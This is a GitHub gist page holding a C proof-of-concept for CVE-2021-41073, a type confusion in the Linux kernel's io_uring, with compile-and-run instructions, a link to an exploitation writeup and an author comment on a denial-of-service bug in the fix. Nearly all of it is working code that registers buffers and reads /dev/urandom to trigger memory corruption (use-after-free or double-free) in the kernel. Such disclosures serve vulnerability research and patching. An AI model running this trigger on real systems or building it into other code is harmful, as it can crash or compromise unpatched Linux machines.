Skip to content

Instantly share code, notes, and snippets.

@QiuhaoLi
Created March 28, 2022 11:11
Show Gist options
  • Star 3 You must be signed in to star a gist
  • Fork 2 You must be signed in to fork a gist
  • Save QiuhaoLi/d66b0ff2aa5058bd007a3f6c61d29b6e to your computer and use it in GitHub Desktop.
Save QiuhaoLi/d66b0ff2aa5058bd007a3f6c61d29b6e to your computer and use it in GitHub Desktop.
PoC for CVE-2021-41073 (type confusion in Linux io_uring)
/*
* PoC for CVE-2021-41073, tested on Debian 11 with Linux 5.14
* For writeup and exp visit https://www.graplsecurity.com/post/iou-ring-exploiting-the-linux-kernel
* For liburing visit https://github.com/axboe/liburing
* gcc -static -o poc poc.c -luring && ./poc
*/
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/ioctl.h>
#include <liburing.h>
#include <stdlib.h>
#include <stdio.h>
#define QUEUE_DEPTH 1024
#define GROUP_ID 0x1743
#define BUFFER_CHUNK_NUMBER 0x1000
#define BUFFER_CHUNK_SIZE 0x1000
#define INPUT_FILE_PATHNAME "/dev/urandom" /* doesn't implement file->f_op->read_iter */
char buf[BUFFER_CHUNK_NUMBER][BUFFER_CHUNK_SIZE] = {0};
int main(int argc, char *argv[])
{
struct io_uring ring;
struct io_uring_sqe *sqe;
struct io_uring_cqe *cqe;
int input_fd;
io_uring_queue_init(QUEUE_DEPTH, &ring, 0);
sqe = io_uring_get_sqe(&ring);
/* IORING_OP_PROVIDE_BUFFERS: register a group of buffers */
io_uring_prep_provide_buffers(sqe, buf, BUFFER_CHUNK_SIZE, BUFFER_CHUNK_NUMBER, GROUP_ID, 0);
io_uring_submit(&ring);
io_uring_wait_cqe(&ring, &cqe);
io_uring_cqe_seen(&ring, cqe);
if (cqe->res < 0)
{
fprintf(stderr, "io_uring register buffers failed!\n");
goto done;
}
input_fd = open(INPUT_FILE_PATHNAME, O_RDONLY);
if (input_fd < 0)
{
perror("failed to get input_fd!\n");
goto done;
}
sqe = io_uring_get_sqe(&ring);
/* Read into buf and trigger the type confusion in io_uring.c:loop_rw_iter() */
/* This may lead to UAF, double-free or other memory exceptions in KASAN */
io_uring_prep_read(sqe, input_fd, NULL, BUFFER_CHUNK_SIZE * BUFFER_CHUNK_NUMBER - 1, 0);
io_uring_sqe_set_flags(sqe, IOSQE_BUFFER_SELECT);
sqe->buf_group = GROUP_ID;
io_uring_submit(&ring);
io_uring_wait_cqe(&ring, &cqe);
io_uring_cqe_seen(&ring, cqe);
if (cqe->res < 0)
{
fprintf(stderr, "io_uring read failed!\n");
goto done;
}
return 0;
done:
exit(EXIT_FAILURE);
}
@QiuhaoLi
Copy link
Author

However, the fix introduced another bug: It only advanced the iterator for registered buffers, so when encountering fixed buffers, it would lead to an endless loop (DoS).

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment